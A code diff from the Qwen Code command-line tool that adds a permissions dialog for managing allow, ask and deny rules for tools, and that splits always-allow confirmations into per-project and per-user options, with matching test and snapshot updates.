action: (): OpenDialogActionReturn => ({
type: 'dialog',
dialog: 'permissions',
}),
};

View file

@ -147,6 +147,7 @@ export interface OpenDialogActionReturn {
| 'subagent_create'
| 'subagent_list'
| 'trust'
| 'permissions'
| 'approval-mode'
| 'resume';
}

View file

@ -19,6 +19,7 @@ import { QwenOAuthProgress } from './QwenOAuthProgress.js';
import { AuthDialog } from '../auth/AuthDialog.js';
import { EditorSettingsDialog } from './EditorSettingsDialog.js';
import { TrustDialog } from './TrustDialog.js';
import { PermissionsDialog } from './PermissionsDialog.js';
import { ModelDialog } from './ModelDialog.js';
import { ApprovalModeDialog } from './ApprovalModeDialog.js';
import { theme } from '../semantic-colors.js';
@ -271,6 +272,10 @@ export const DialogManager = ({
);
}
if (uiState.isPermissionsDialogOpen) {
return <PermissionsDialog onExit={uiActions.closePermissionsDialog} />;
}
if (uiState.isSubagentCreateDialogOpen) {
return (
<AgentCreationWizard

View file

@ -0,0 +1,607 @@
/**
* @license
* Copyright 2025 Google LLC
* SPDX-License-Identifier: Apache-2.0
*/
import type React from 'react';
import { useCallback, useEffect, useMemo, useState } from 'react';
import { Box, Text } from 'ink';
import { theme } from '../semantic-colors.js';
import { useKeypress } from '../hooks/useKeypress.js';
import { RadioButtonSelect } from './shared/RadioButtonSelect.js';
import { useConfig } from '../contexts/ConfigContext.js';
import { useSettings } from '../contexts/SettingsContext.js';
import { SettingScope } from '../../config/settings.js';
import { TextInput } from './shared/TextInput.js';
import { Colors } from '../colors.js';
import { t } from '../../i18n/index.js';
import type {
PermissionManager,
RuleWithSource,
RuleType,
} from '@qwen-code/qwen-code-core';
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
type TabId = 'allow' | 'ask' | 'deny' | 'workspace';
interface Tab {
id: TabId;
label: string;
description: string;
}
/** Internal views for the dialog state machine. */
type DialogView =
| 'rule-list' // main rule list view
| 'add-rule-input' // text input for new rule
| 'add-rule-scope' // scope selector after entering a rule
| 'delete-confirm'; // confirm rule deletion
// ---------------------------------------------------------------------------
// Scope items (matches Claude Code screenshot layout)
// ---------------------------------------------------------------------------
interface PermScopeItem {
label: string;
description: string;
value: SettingScope;
key: string;
}
function getPermScopeItems(): PermScopeItem[] {
return [
{
label: t('Project settings'),
description: t('Checked in at .qwen/settings.json'),
value: SettingScope.Workspace,
key: 'project',
},
{
label: t('User settings'),
description: t('Saved in at ~/.qwen/settings.json'),
value: SettingScope.User,
key: 'user',
},
];
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
function getTabs(): Tab[] {
return [
{
id: 'allow',
label: t('Allow'),
description: t("Qwen Code won't ask before using allowed tools."),
},
{
id: 'ask',
label: t('Ask'),
description: t('Qwen Code will ask before using these tools.'),
},
{
id: 'deny',
label: t('Deny'),
description: t('Qwen Code is not allowed to use denied tools.'),
},
{
id: 'workspace',
label: t('Workspace'),
description: t('Manage trusted directories for this workspace.'),
},
];
}
function describeRule(raw: string): string {
const match = raw.match(/^([^(]+?)(?:\((.+)\))?$/);
if (!match) return raw;
const toolName = match[1]!.trim();
const specifier = match[2]?.trim();
if (!specifier) {
return t('Any use of the {{tool}} tool', { tool: toolName });
}
return t("{{tool}} commands matching '{{pattern}}'", {
tool: toolName,
pattern: specifier,
});
}
function scopeLabel(scope: string): string {
switch (scope) {
case 'user':
return t('From user settings');
case 'workspace':
return t('From project settings');
case 'session':
return t('From session');
default:
return scope;
}
}
// ---------------------------------------------------------------------------
// Component props
// ---------------------------------------------------------------------------
interface PermissionsDialogProps {
onExit: () => void;
}
// ---------------------------------------------------------------------------
// Main component
// ---------------------------------------------------------------------------
export function PermissionsDialog({
onExit,
}: PermissionsDialogProps): React.JSX.Element {
const config = useConfig();
const settings = useSettings();
const pm = config.getPermissionManager?.() as PermissionManager | null;
// --- Tab state ---
const tabs = useMemo(() => getTabs(), []);
const [activeTabIndex, setActiveTabIndex] = useState(0);
const activeTab = tabs[activeTabIndex]!;
// --- Rule list state ---
const [allRules, setAllRules] = useState<RuleWithSource[]>([]);
const [searchQuery, setSearchQuery] = useState('');
const [isSearchActive, setIsSearchActive] = useState(false);
// --- Dialog view state machine ---
const [view, setView] = useState<DialogView>('rule-list');
const [newRuleInput, setNewRuleInput] = useState('');
const [pendingRuleText, setPendingRuleText] = useState('');
const [deleteTarget, setDeleteTarget] = useState<RuleWithSource | null>(null);
// Refresh rules from PermissionManager
const refreshRules = useCallback(() => {
if (pm) {
setAllRules(pm.listRules());
}
}, [pm]);
useEffect(() => {
refreshRules();
}, [refreshRules]);
// Filter rules for current tab
const currentTabRules = useMemo(() => {
if (activeTab.id === 'workspace') return [];
return allRules.filter((r) => r.type === activeTab.id);
}, [allRules, activeTab.id]);
// Search-filtered rules
const filteredRules = useMemo(() => {
if (!searchQuery.trim()) return currentTabRules;
const q = searchQuery.toLowerCase();
return currentTabRules.filter(
(r) =>
r.rule.raw.toLowerCase().includes(q) ||
r.rule.toolName.toLowerCase().includes(q),
);
}, [currentTabRules, searchQuery]);
// Build radio items: "Add a new rule..." + filtered rules
const listItems = useMemo(() => {
const items: Array<{
label: string;
value: string;
key: string;
}> = [
{
label: t('Add a new rule…'),
value: '__add__',
key: '__add__',
},
];
for (const r of filteredRules) {
items.push({
label: `${r.rule.raw}`,
value: r.rule.raw,
key: `${r.type}-${r.scope}-${r.rule.raw}`,
});
}
return items;
}, [filteredRules]);
// --- Action handlers ---
const handleTabCycle = useCallback(
(direction: 1 | -1) => {
setActiveTabIndex(
(prev) => (prev + direction + tabs.length) % tabs.length,
);
setSearchQuery('');
setIsSearchActive(false);
},
[tabs.length],
);
const handleListSelect = useCallback(
(value: string) => {
if (value === '__add__') {
setNewRuleInput('');
setView('add-rule-input');
return;
}
// Selecting an existing rule → offer to delete
const found = filteredRules.find((r) => r.rule.raw === value);
if (found) {
setDeleteTarget(found);
setView('delete-confirm');
}
},
[filteredRules],
);
const handleAddRuleSubmit = useCallback(() => {
const trimmed = newRuleInput.trim();
if (!trimmed) return;
setPendingRuleText(trimmed);
setView('add-rule-scope');
}, [newRuleInput]);
const handleScopeSelect = useCallback(
(scope: SettingScope) => {
if (!pm || activeTab.id === 'workspace') return;
const ruleType = activeTab.id as RuleType;
// Add to PermissionManager in-memory
pm.addPersistentRule(pendingRuleText, ruleType);
// Persist to settings file (with dedup)
const key = `permissions.${ruleType}`;
const perms = (settings.merged as Record<string, unknown>)[
'permissions'
] as Record<string, string[]> | undefined;
const currentRules = perms?.[ruleType] ?? [];
if (!currentRules.includes(pendingRuleText)) {
settings.setValue(scope, key, [...currentRules, pendingRuleText]);
}
// Refresh and go back
refreshRules();
setView('rule-list');
setPendingRuleText('');
},
[pm, activeTab.id, pendingRuleText, settings, refreshRules],
);
const handleDeleteConfirm = useCallback(() => {
if (!pm || !deleteTarget) return;
const ruleType = deleteTarget.type;
// Remove from PermissionManager in-memory
pm.removePersistentRule(deleteTarget.rule.raw, ruleType);
// Persist removal — find and remove from settings
// We try both User and Workspace scopes
for (const scope of [SettingScope.User, SettingScope.Workspace]) {
const scopeSettings = settings.forScope(scope).settings;
const perms = (scopeSettings as Record<string, unknown>)[
'permissions'
] as Record<string, string[]> | undefined;
const scopeRules = perms?.[ruleType];
if (scopeRules?.includes(deleteTarget.rule.raw)) {
const updated = scopeRules.filter(
(r: string) => r !== deleteTarget.rule.raw,
);
settings.setValue(scope, `permissions.${ruleType}`, updated);
break;
}
}
refreshRules();
setDeleteTarget(null);
setView('rule-list');
}, [pm, deleteTarget, settings, refreshRules]);
// --- Keypress handling ---
useKeypress(
(key) => {
if (view === 'rule-list') {
if (key.name === 'escape') {
if (isSearchActive && searchQuery) {
setSearchQuery('');
setIsSearchActive(false);
} else {
onExit();
}
return;
}
if (key.name === 'tab') {
handleTabCycle(1);
return;
}
if (key.name === 'right' || key.name === 'left') {
handleTabCycle(key.name === 'right' ? 1 : -1);
return;
}
// Search input: backspace
if (key.name === 'backspace' || key.name === 'delete') {
if (searchQuery.length > 0) {
setSearchQuery((prev) => prev.slice(0, -1));
}
return;
}
// Search input: printable characters
if (
key.sequence &&
!key.ctrl &&
!key.meta &&
key.sequence.length === 1 &&
key.sequence >= ' '
) {
setSearchQuery((prev) => prev + key.sequence);
setIsSearchActive(true);
return;
}
}
if (view === 'add-rule-input') {
if (key.name === 'escape') {
setView('rule-list');
return;
}
}
if (view === 'add-rule-scope') {
if (key.name === 'escape') {
setView('add-rule-input');
return;
}
}
if (view === 'delete-confirm') {
if (key.name === 'escape') {
setDeleteTarget(null);
setView('rule-list');
return;
}
if (key.name === 'return') {
handleDeleteConfirm();
return;
}
}
},
{ isActive: true },
);
// --- Workspace tab placeholder ---
if (activeTab.id === 'workspace') {
return (
<Box flexDirection="column">
<TabBar tabs={tabs} activeIndex={activeTabIndex} />
<Box
borderStyle="round"
borderColor={theme.border.default}
flexDirection="column"
padding={1}
>
<Text color={theme.text.secondary}>
{t(
'Use /trust to manage folder trust settings for this workspace.',
)}
</Text>
</Box>
<FooterHint view={view} />
</Box>
);
}
// --- Render views ---
if (view === 'add-rule-input') {
return (
<Box flexDirection="column">
<Box
borderStyle="round"
borderColor={theme.border.default}
flexDirection="column"
padding={1}
>
<Text bold>
{t('Add {{type}} permission rule', { type: activeTab.id })}
</Text>
<Box height={1} />
<Text wrap="wrap">
{t(
'Permission rules are a tool name, optionally followed by a specifier in parentheses.',
)}
</Text>
<Text>
{t('e.g.,')} <Text bold>WebFetch</Text> {t('or')}{' '}
<Text bold>Bash(ls:*)</Text>
</Text>
<Box height={1} />
<Box
borderStyle="round"
borderColor={theme.border.default}
paddingLeft={1}
paddingRight={1}
>
<TextInput
value={newRuleInput}
onChange={setNewRuleInput}
onSubmit={handleAddRuleSubmit}
placeholder={t('Enter permission rule…')}
isActive={true}
/>
</Box>
</Box>
<Box marginTop={1} marginLeft={1}>
<Text color={theme.text.secondary}>
{t('Enter to submit · Esc to cancel')}
</Text>
</Box>
</Box>
);
}
if (view === 'add-rule-scope') {
const scopeItems = getPermScopeItems();
return (
<Box flexDirection="column">
<Box
borderStyle="round"
borderColor={theme.border.default}
flexDirection="column"
padding={1}
>
<Text bold>
{t('Add {{type}} permission rule', { type: activeTab.id })}
</Text>
<Box height={1} />
<Box marginLeft={2} flexDirection="column">
<Text bold>{pendingRuleText}</Text>
<Text color={theme.text.secondary}>
{describeRule(pendingRuleText)}
</Text>
</Box>
<Box height={1} />
<Text>{t('Where should this rule be saved?')}</Text>
<RadioButtonSelect
items={scopeItems.map((s) => ({
label: `${s.label} ${s.description}`,
value: s.value,
key: s.key,
}))}
onSelect={handleScopeSelect}
isFocused={true}
showNumbers={true}
/>
</Box>
<Box marginTop={1} marginLeft={1}>
<Text color={theme.text.secondary}>
{t('Enter to confirm · Esc to cancel')}
</Text>
</Box>
</Box>
);
}
if (view === 'delete-confirm' && deleteTarget) {
return (
<Box flexDirection="column">
<Box
borderStyle="round"
borderColor={theme.border.default}
flexDirection="column"
padding={1}
>
<Text bold>
{t('Delete {{type}} rule?', { type: deleteTarget.type })}
</Text>
<Box height={1} />
<Box marginLeft={2} flexDirection="column">
<Text bold>{deleteTarget.rule.raw}</Text>
<Text color={theme.text.secondary}>
{describeRule(deleteTarget.rule.raw)}
</Text>
<Text color={theme.text.secondary}>
{scopeLabel(deleteTarget.scope)}
</Text>
</Box>
<Box height={1} />
<Text>
{t('Are you sure you want to delete this permission rule?')}
</Text>
</Box>
<Box marginTop={1} marginLeft={1}>
<Text color={theme.text.secondary}>
{t('Enter to confirm · Esc to cancel')}
</Text>
</Box>
</Box>
);
}
// --- Default: rule-list view ---
return (
<Box flexDirection="column">
<TabBar tabs={tabs} activeIndex={activeTabIndex} />
<Text>{activeTab.description}</Text>
{/* Search box */}
<Box
borderStyle="round"
borderColor={theme.border.default}
paddingLeft={1}
paddingRight={1}
width={60}
>
<Text color={theme.text.accent}>{'> '}</Text>
{searchQuery ? (
<Text>{searchQuery}</Text>
) : (
<Text color={Colors.Gray}>{t('Search…')}</Text>
)}
</Box>
<Box height={1} />
{/* Rule list */}
<RadioButtonSelect
items={listItems}
onSelect={handleListSelect}
isFocused={view === 'rule-list'}
showNumbers={true}
showScrollArrows={false}
maxItemsToShow={15}
/>
<FooterHint view={view} />
</Box>
);
}
// ---------------------------------------------------------------------------
// Sub-components
// ---------------------------------------------------------------------------
function TabBar({
tabs,
activeIndex,
}: {
tabs: Tab[];
activeIndex: number;
}): React.JSX.Element {
return (
<Box marginBottom={1}>
<Text color={theme.text.accent} bold>
{t('Permissions:')}{' '}
</Text>
{tabs.map((tab, i) => (
<Box key={tab.id} marginRight={2}>
{i === activeIndex ? (
<Text
bold
backgroundColor={theme.text.accent}
color={theme.background.primary}
>
{` ${tab.label} `}
</Text>
) : (
<Text color={theme.text.secondary}>{` ${tab.label} `}</Text>
)}
</Box>
))}
<Text color={theme.text.secondary}>{t('(←/→ or tab to cycle)')}</Text>
</Box>
);
}
function FooterHint({ view }: { view: DialogView }): React.JSX.Element {
if (view !== 'rule-list') return <></>;
return (
<Box marginTop={1}>
<Text color={theme.text.secondary}>
{t(
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel',
)}
</Text>
</Box>
);
}

View file

@ -33,13 +33,13 @@ describe('ShellConfirmationDialog', () => {
expect(select).toContain('Yes, allow once');
});
it('calls onConfirm with ProceedAlways when "Yes, allow always for this session" is selected', () => {
it('calls onConfirm with ProceedAlwaysProject when "Always allow in this project" is selected', () => {
const { lastFrame } = renderWithProviders(
<ShellConfirmationDialog request={request} />,
);
const select = lastFrame()!.toString();
// Simulate selecting the second option
expect(select).toContain('Yes, allow always for this session');
expect(select).toContain('Always allow in this project');
});
it('calls onConfirm with Cancel when "No (esc)" is selected', () => {

View file

@ -57,9 +57,14 @@ export const ShellConfirmationDialog: React.FC<
key: 'Yes, allow once',
},
{
label: t('Yes, allow always for this session'),
value: ToolConfirmationOutcome.ProceedAlways,
key: 'Yes, allow always for this session',
label: t('Always allow in this project'),
value: ToolConfirmationOutcome.ProceedAlwaysProject,
key: 'Always allow in this project',
},
{
label: t('Always allow for this user'),
value: ToolConfirmationOutcome.ProceedAlwaysUser,
key: 'Always allow for this user',
},
{
label: t('No (esc)'),

View file

@ -7,7 +7,7 @@ exports[`LoopDetectionConfirmation > renders correctly 1`] = `
│ This can happen due to repetitive tool calls or other model behavior. Do you want to keep loop │
│ detection enabled or disable it for this session? │
│ │
1. Keep loop detection enabled (esc) │
1. Keep loop detection enabled (esc) │
│ 2. Disable loop detection for this session │
│ │
│ Note: To disable loop detection checks for all future sessions, set "model.skipLoopDetection" to │

View file

@ -13,9 +13,10 @@ exports[`ShellConfirmationDialog > renders correctly 1`] = `
│ │
│ Do you want to proceed? │
│ │
│ ● 1. Yes, allow once │
│ 2. Yes, allow always for this session │
│ 3. No (esc) │
1. Yes, allow once │
│ 2. Always allow in this project │
│ 3. Always allow for this user │
│ 4. No (esc) │
│ │
╰──────────────────────────────────────────────────────────────────────────────────────────────────╯"
`;

View file

@ -5,7 +5,7 @@ exports[`ThemeDialog Snapshots > should render correctly in scope selector mode
│ │
│ > Apply To │
│ │
1. User Settings │
1. User Settings │
│ 2. Workspace Settings │
│ │
│ (Use Enter to apply scope, Tab to go back) │
@ -19,7 +19,7 @@ exports[`ThemeDialog Snapshots > should render correctly in theme selection mode
│ > Select Theme Preview │
│ ▲ ┌─────────────────────────────────────────────────┐ │
│ 1. Qwen Light Light │ │ │
2. Qwen Dark Dark │ 1 # function │ │
2. Qwen Dark Dark │ 1 # function │ │
│ 3. ANSI Dark │ 2 def fibonacci(n): │ │
│ 4. Atom One Dark │ 3 a, b = 0, 1 │ │
│ 5. Ayu Dark │ 4 for _ in range(n): │ │

View file

@ -138,17 +138,17 @@ describe('ToolConfirmationMessage', () => {
{
description: 'for exec confirmations',
details: execConfirmationDetails,
alwaysAllowText: 'Yes, allow always',
alwaysAllowText: 'Always allow in this project',
},
{
description: 'for info confirmations',
details: infoConfirmationDetails,
alwaysAllowText: 'Yes, allow always',
alwaysAllowText: 'Always allow in this project',
},
{
description: 'for mcp confirmations',
details: mcpConfirmationDetails,
alwaysAllowText: 'always allow',
alwaysAllowText: 'Always allow in this project',
},
])('$description', ({ details, alwaysAllowText }) => {
it('should show "allow always" when folder is trusted', () => {

View file

@ -241,11 +241,19 @@ export const ToolConfirmationMessage: React.FC<
value: ToolConfirmationOutcome.ProceedOnce,
key: 'Yes, allow once',
});
if (isTrustedFolder) {
if (isTrustedFolder && !confirmationDetails.hideAlwaysAllow) {
const rulesLabel = executionProps.permissionRules?.length
? ` [${executionProps.permissionRules.join(', ')}]`
: '';
options.push({
label: t('Yes, allow always ...'),
value: ToolConfirmationOutcome.ProceedAlways,
key: 'Yes, allow always ...',
label: t('Always allow in this project') + rulesLabel,
value: ToolConfirmationOutcome.ProceedAlwaysProject,
key: 'Always allow in this project',
});
options.push({
label: t('Always allow for this user') + rulesLabel,
value: ToolConfirmationOutcome.ProceedAlwaysUser,
key: 'Always allow for this user',
});
}
options.push({
@ -314,11 +322,21 @@ export const ToolConfirmationMessage: React.FC<
value: ToolConfirmationOutcome.ProceedOnce,
key: 'Yes, allow once',
});
if (isTrustedFolder) {
if (isTrustedFolder && !confirmationDetails.hideAlwaysAllow) {
const rulesLabel =
'permissionRules' in infoProps &&
(infoProps as { permissionRules?: string[] }).permissionRules?.length
? ` [${(infoProps as { permissionRules?: string[] }).permissionRules!.join(', ')}]`
: '';
options.push({
label: t('Yes, allow always'),
value: ToolConfirmationOutcome.ProceedAlways,
key: 'Yes, allow always',
label: t('Always allow in this project') + rulesLabel,
value: ToolConfirmationOutcome.ProceedAlwaysProject,
key: 'Always allow in this project',
});
options.push({
label: t('Always allow for this user') + rulesLabel,
value: ToolConfirmationOutcome.ProceedAlwaysUser,
key: 'Always allow for this user',
});
}
options.push({
@ -372,21 +390,19 @@ export const ToolConfirmationMessage: React.FC<
value: ToolConfirmationOutcome.ProceedOnce,
key: 'Yes, allow once',
});
if (isTrustedFolder) {
if (isTrustedFolder && !confirmationDetails.hideAlwaysAllow) {
const rulesLabel = mcpProps.permissionRules?.length
? ` [${mcpProps.permissionRules.join(', ')}]`
: '';
options.push({
label: t('Yes, always allow tool "{{tool}}" from server "{{server}}"', {
tool: mcpProps.toolName,
server: mcpProps.serverName,
}),
value: ToolConfirmationOutcome.ProceedAlwaysTool, // Cast until types are updated
key: `Yes, always allow tool "${mcpProps.toolName}" from server "${mcpProps.serverName}"`,
label: t('Always allow in this project') + rulesLabel,
value: ToolConfirmationOutcome.ProceedAlwaysProject,
key: 'Always allow in this project',
});
options.push({
label: t('Yes, always allow all tools from server "{{server}}"', {
server: mcpProps.serverName,
}),
value: ToolConfirmationOutcome.ProceedAlwaysServer,
key: `Yes, always allow all tools from server "${mcpProps.serverName}"`,
label: t('Always allow for this user') + rulesLabel,
value: ToolConfirmationOutcome.ProceedAlwaysUser,
key: 'Always allow for this user',
});
}
options.push({

View file

@ -93,12 +93,12 @@ describe('BaseSelectionList', () => {
expect(mockRenderItem).toHaveBeenCalledWith(items[0], expect.any(Object));
});
it('should render the selection indicator ( or space) and layout', () => {
it('should render the selection indicator ( or space) and layout', () => {
const { lastFrame } = renderComponent({}, 0);
const output = lastFrame();
// Use regex to assert the structure: Indicator + Whitespace + Number + Label
expect(output).toMatch(/\s+1\.\s+Item A/);
expect(output).toMatch(/\s+1\.\s+Item A/);
expect(output).toMatch(/\s+2\.\s+Item B/);
expect(output).toMatch(/\s+3\.\s+Item C/);
});

View file

@ -138,7 +138,7 @@ export function BaseSelectionList<
color={isSelected ? theme.status.success : theme.text.primary}
aria-hidden
>
{isSelected ? '' : ' '}
{isSelected ? '' : ' '}
</Text>
</Box>

View file

@ -4,7 +4,7 @@ exports[`DescriptiveRadioButtonSelect > should render correctly with custom prop
"▲
1. Foo Title
This is Foo.
2. Bar Title
2. Bar Title
This is Bar.
3. Baz Title
This is Baz.
@ -12,7 +12,7 @@ exports[`DescriptiveRadioButtonSelect > should render correctly with custom prop
`;
exports[`DescriptiveRadioButtonSelect > should render correctly with default props 1`] = `
" Foo Title
" Foo Title
This is Foo.
Bar Title
This is Bar.

View file

@ -56,6 +56,7 @@ export interface UIActions {
closeModelDialog: () => void;
dismissCodingPlanUpdate: () => void;
closeTrustDialog: () => void;
closePermissionsDialog: () => void;
setShellModeActive: (value: boolean) => void;
vimHandleInput: (key: Key) => boolean;
handleIdePromptComplete: (result: IdeIntegrationNudgeResult) => void;

View file

@ -53,6 +53,7 @@ export interface UIState {
isSettingsDialogOpen: boolean;
isModelDialogOpen: boolean;
isTrustDialogOpen: boolean;
isPermissionsDialogOpen: boolean;
isApprovalModeDialogOpen: boolean;
isResumeDialogOpen: boolean;
slashCommands: readonly SlashCommand[];

View file

@ -157,6 +157,7 @@ describe('useSlashCommandProcessor', () => {
openSettingsDialog: vi.fn(),
openModelDialog: mockOpenModelDialog,
openTrustDialog: vi.fn(),
openPermissionsDialog: vi.fn(),
openApprovalModeDialog: vi.fn(),
openResumeDialog: vi.fn(),
quit: mockSetQuittingMessages,
@ -930,6 +931,7 @@ describe('useSlashCommandProcessor', () => {
openSettingsDialog: vi.fn(),
openModelDialog: vi.fn(),
openTrustDialog: vi.fn(),
openPermissionsDialog: vi.fn(),
openApprovalModeDialog: vi.fn(),
openResumeDialog: vi.fn(),
quit: mockSetQuittingMessages,

View file

@ -70,6 +70,7 @@ interface SlashCommandProcessorActions {
openSettingsDialog: () => void;
openModelDialog: () => void;
openTrustDialog: () => void;
openPermissionsDialog: () => void;
openApprovalModeDialog: () => void;
openResumeDialog: () => void;
quit: (messages: HistoryItem[]) => void;
@ -470,6 +471,9 @@ export const useSlashCommandProcessor = (
case 'trust':
actions.openTrustDialog();
return { type: 'handled' };
case 'permissions':
actions.openPermissionsDialog();
return { type: 'handled' };
case 'subagent_create':
actions.openSubagentCreateDialog();
return { type: 'handled' };

View file

@ -74,24 +74,14 @@ const mockTool = new MockTool({
name: 'mockTool',
displayName: 'Mock Tool',
execute: vi.fn(),
shouldConfirmExecute: vi.fn(),
});
const mockToolWithLiveOutput = new MockTool({
name: 'mockToolWithLiveOutput',
displayName: 'Mock Tool With Live Output',
description: 'A mock tool for testing',
params: {},
isOutputMarkdown: true,
canUpdateOutput: true,
execute: vi.fn(),
shouldConfirmExecute: vi.fn(),
});
let mockOnUserConfirmForToolConfirmation: Mock;
const mockToolRequiresConfirmation = new MockTool({
name: 'mockToolRequiresConfirmation',
displayName: 'Mock Tool Requires Confirmation',
execute: vi.fn(),
shouldConfirmExecute: vi.fn(),
getDefaultPermission: () => Promise.resolve('ask' as any),
getConfirmationDetails: vi.fn(),
});
describe('useReactToolScheduler in YOLO Mode', () => {
@ -103,7 +93,7 @@ describe('useReactToolScheduler in YOLO Mode', () => {
setPendingHistoryItem = vi.fn();
mockToolRegistry.getTool.mockClear();
(mockToolRequiresConfirmation.execute as Mock).mockClear();
(mockToolRequiresConfirmation.shouldConfirmExecute as Mock).mockClear();
(mockToolRequiresConfirmation.getConfirmationDetails as Mock).mockClear();
// IMPORTANT: Enable YOLO mode for this test suite
(mockConfig.getApprovalMode as Mock).mockReturnValue(ApprovalMode.YOLO);
@ -209,17 +199,14 @@ describe('useReactToolScheduler', () => {
mockToolRegistry.getTool.mockClear();
(mockTool.execute as Mock).mockClear();
(mockTool.shouldConfirmExecute as Mock).mockClear();
(mockToolWithLiveOutput.execute as Mock).mockClear();
(mockToolWithLiveOutput.shouldConfirmExecute as Mock).mockClear();
(mockToolRequiresConfirmation.execute as Mock).mockClear();
(mockToolRequiresConfirmation.shouldConfirmExecute as Mock).mockClear();
(mockToolRequiresConfirmation.getConfirmationDetails as Mock).mockClear();
mockOnUserConfirmForToolConfirmation = vi.fn();
(
mockToolRequiresConfirmation.shouldConfirmExecute as Mock
mockToolRequiresConfirmation.getConfirmationDetails as Mock
).mockImplementation(
async (): Promise<ToolCallConfirmationDetails | null> =>
async (): Promise<ToolCallConfirmationDetails> =>
({
onConfirm: mockOnUserConfirmForToolConfirmation,
fileName: 'mockToolRequiresConfirmation.ts',
@ -258,7 +245,6 @@ describe('useReactToolScheduler', () => {
llmContent: 'Tool output',
returnDisplay: 'Formatted tool output',
} as ToolResult);
(mockTool.shouldConfirmExecute as Mock).mockResolvedValue(null);
const { result } = renderScheduler();
const schedule = result.current[1];
@ -343,10 +329,11 @@ describe('useReactToolScheduler', () => {
expect(result.current[0]).toEqual([]);
});
it('should handle error during shouldConfirmExecute', async () => {
it('should handle error during getDefaultPermission', async () => {
mockToolRegistry.getTool.mockReturnValue(mockTool);
const confirmError = new Error('Confirmation check failed');
(mockTool.shouldConfirmExecute as Mock).mockRejectedValue(confirmError);
const originalGetDefaultPermission = mockTool.getDefaultPermission;
mockTool.getDefaultPermission = () => Promise.reject(confirmError);
const { result } = renderScheduler();
const schedule = result.current[1];
@ -376,11 +363,11 @@ describe('useReactToolScheduler', () => {
}),
]);
expect(result.current[0]).toEqual([]);
mockTool.getDefaultPermission = originalGetDefaultPermission;
});
it('should handle error during execute', async () => {
mockToolRegistry.getTool.mockReturnValue(mockTool);
(mockTool.shouldConfirmExecute as Mock).mockResolvedValue(null);
const execError = new Error('Execution failed');
(mockTool.execute as Mock).mockRejectedValue(execError);
@ -523,7 +510,6 @@ describe('mapToDisplay', () => {
name: 'testTool',
displayName: 'Test Tool Display',
execute: vi.fn(),
shouldConfirmExecute: vi.fn(),
});
const baseResponse: ToolCallResponseInfo = {
@ -758,7 +744,6 @@ describe('mapToDisplay', () => {
displayName: baseTool.displayName,
isOutputMarkdown: true,
execute: vi.fn(),
shouldConfirmExecute: vi.fn(),
});
const toolCall2: ToolCall = {
request: { ...baseRequest, callId: 'call2' },

View file

@ -25,6 +25,7 @@
"dependencies": {
"@anthropic-ai/sdk": "^0.36.1",
"@google/genai": "1.30.0",
"@iarna/toml": "^2.2.5",
"@modelcontextprotocol/sdk": "^1.25.1",
"@opentelemetry/api": "^1.9.0",
"@opentelemetry/exporter-logs-otlp-grpc": "^0.203.0",
@ -37,7 +38,6 @@
"@opentelemetry/sdk-node": "^0.203.0",
"@types/html-to-text": "^9.0.4",
"@xterm/headless": "5.5.0",
"@iarna/toml": "^2.2.5",
"ajv": "^8.17.1",
"ajv-formats": "^3.0.0",
"async-mutex": "^0.5.0",
@ -45,6 +45,7 @@
"chokidar": "^4.0.3",
"diff": "^7.0.0",
"dotenv": "^17.1.0",
"extract-zip": "^2.0.1",
"fast-levenshtein": "^2.0.6",
"fast-uri": "^3.0.6",
"fdir": "^6.4.6",
@ -60,15 +61,15 @@
"mnemonist": "^0.40.3",
"open": "^10.1.2",
"openai": "5.11.0",
"prompts": "^2.4.2",
"picomatch": "^4.0.1",
"prompts": "^2.4.2",
"shell-quote": "^1.8.3",
"simple-git": "^3.28.0",
"strip-ansi": "^7.1.0",
"tar": "^7.5.2",
"extract-zip": "^2.0.1",
"undici": "^6.22.0",
"uuid": "^9.0.1",
"web-tree-sitter": "^0.24.7",
"ws": "^8.18.0"
},
"optionalDependencies": {
@ -86,10 +87,11 @@
"@types/fast-levenshtein": "^0.0.4",
"@types/minimatch": "^5.1.2",
"@types/picomatch": "^4.0.1",
"@types/ws": "^8.5.10",
"@types/tar": "^6.1.13",
"@types/prompts": "^2.4.9",
"@types/tar": "^6.1.13",
"@types/ws": "^8.5.10",
"msw": "^2.3.4",
"tree-sitter-wasms": "^0.1.13",
"typescript": "^5.3.3",
"vitest": "^3.1.1"
},

View file

@ -389,6 +389,20 @@ export interface ConfigParameters {
modelProvidersConfig?: ModelProvidersConfig;
/** Warnings generated during configuration resolution */
warnings?: string[];
/**
* Callback for persisting a permission rule to settings.
* Injected by the CLI layer; core uses this to write allow/ask/deny rules
* to project or user settings when the user clicks "Always Allow".
*
* @param scope - 'project' for workspace settings, 'user' for user settings.
* @param ruleType - 'allow' | 'ask' | 'deny'.
* @param rule - The raw rule string, e.g. "Bash(git *)" or "Edit".
*/
onPersistPermissionRule?: (
scope: 'project' | 'user',
ruleType: 'allow' | 'ask' | 'deny',
rule: string,
) => Promise<void>;
}
function normalizeConfigOutputFormat(
@ -524,6 +538,11 @@ export class Config {
private readonly skipLoopDetection: boolean;
private readonly skipStartupContext: boolean;
private readonly warnings: string[];
private readonly onPersistPermissionRuleCallback?: (
scope: 'project' | 'user',
ruleType: 'allow' | 'ask' | 'deny',
rule: string,
) => Promise<void>;
private initialized: boolean = false;
readonly storage: Storage;
private readonly fileExclusions: FileExclusions;
@ -629,6 +648,7 @@ export class Config {
this.skipLoopDetection = params.skipLoopDetection ?? false;
this.skipStartupContext = params.skipStartupContext ?? false;
this.warnings = params.warnings ?? [];
this.onPersistPermissionRuleCallback = params.onPersistPermissionRule;
// Web search
this.webSearch = params.webSearch;
@ -1722,6 +1742,20 @@ export class Config {
return this.permissionManager;
}
/**
* Returns the callback for persisting permission rules to settings files.
* Returns undefined if no callback was provided (e.g. SDK mode).
*/
getOnPersistPermissionRule():
| ((
scope: 'project' | 'user',
ruleType: 'allow' | 'ask' | 'deny',
rule: string,
) => Promise<void>)
| undefined {
return this.onPersistPermissionRuleCallback;
}
async createToolRegistry(
sendSdkMcpMessage?: SendSdkMcpMessage,
): Promise<ToolRegistry> {

View file

@ -15,6 +15,7 @@ import type {
ToolResultDisplay,
ToolRegistry,
} from '../index.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
ApprovalMode,
BaseDeclarativeTool,
@ -35,7 +36,8 @@ import type { Part, PartListUnion } from '@google/genai';
import {
MockModifiableTool,
MockTool,
MOCK_TOOL_SHOULD_CONFIRM_EXECUTE,
MOCK_TOOL_GET_DEFAULT_PERMISSION,
